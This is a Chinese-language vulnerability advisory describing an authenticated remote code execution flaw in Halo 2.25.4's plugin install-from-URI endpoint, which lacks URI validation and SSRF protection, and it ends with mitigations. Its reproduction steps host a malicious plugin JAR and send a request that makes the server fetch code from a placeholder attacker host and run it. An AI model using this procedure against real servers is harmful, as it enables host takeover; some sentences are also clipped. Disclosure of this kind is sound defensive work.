在 Halo 2.25.4 版本中发现了一个严重的安全漏洞。该应用提供了一个管理端点,用于从远程 URI 安装或升级插件。然而,系统未能验证 URI 的源域名,并且在该特定组件上缺乏服务端请求伪造(SSRF)防护。具有插件管理权限的认证攻击者可以提供指向恶意构造的插件 JAR 文件的链接。服务器将使用 PF4J 框架和 Spring 的 DefaultPluginApplicationContextFactory 下载、临时存储并将该 JAR 文件动态加载到 JVM 上下文中。这允许执行不受信任的扩展类,从而在底层主机操作系统上实现任意远程代码执行(RCE)。
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)提交 CVE 表单时请用逗号分隔:
纯文本
PluginEndpoint.java, installFromUri 方法, DefaultPluginApplicationContextFactory
认证管理员可以向 /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri 端点发送包含恶意远程插件 JAR URL 的构造 HTTP POST 请求。
远程代码执行通过以下操作序列发生:
PluginEndpoint.installFromUri() 方法处理传入的请求体(InstallFromUriRequest)并提取用户提供的 uri 字符串。未应用域名白名单过滤。DefaultReactiveUrlDataBufferFetcher.fetch(uri)。与 Halo 中的其他内部网络组件不同,该获取器不会调用 HttpSecurityUtils.secureHttpClient(),从而跳过了内部私有网络/回环 IP 限制(SSRF 防护)。writeToTempFile(content) 写入主机服务器上的本地临时目录。pluginService.install(path),该路径利用 PF4J JarPluginLoader 解压并加载 JAR 文件。DefaultPluginApplicationContextFactory 会自动解析插件 plugin.yaml 中的元数据,并将所有声明的扩展类作为活动 Spring Bean 注册到应用上下文中。static {})或标注了 @PostConstruct 的方法块中的任何恶意代码,都将在实例创建期间通过 Runtime.getRuntime().exec() 立即执行。PluginEndpoint.java 第 422-428 行):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // 未经验证的网络获取
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
攻击者编译一个标准的 PF4J/Halo 插件 JAR 文件(poc-plugin.jar),其中包含一个扩展类,在 @PostConstruct 生命周期钩子或静态块中带有载荷执行机制。攻击者将其托管在外部监听器上:
Bash
python3 -m http.server 9999
认证管理用户向目标 Halo 服务器发送以下 HTTP 请求:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
服务器处理安装过程,从攻击者的服务器获取构件,注册扩展,并执行编译的系统命令,从而危害目标主机。


application.yaml)和存储文件直接暴露。uri 参数强制执行严格的验证规则。将远程安装模式限制为经过验证的可信官方生态系统市场(例如 https://awesome.halo.run)。DefaultReactiveUrlDataBufferFetcher,利用现有的 HttpSecurityUtils.secureHttpClient() 工具来丢弃指向回环(127.0.0.1)、链路本地(169.254.169.254)或私有类网络(10.0.0.0/8、192.168.0.0/16)的请求。JarPluginLoader 上下文应在将文件传递给 DefaultPluginApplicationContextFactory 进行上下文实例化之前,根据官方仓库提供的公钥验证文件哈希或加密签名。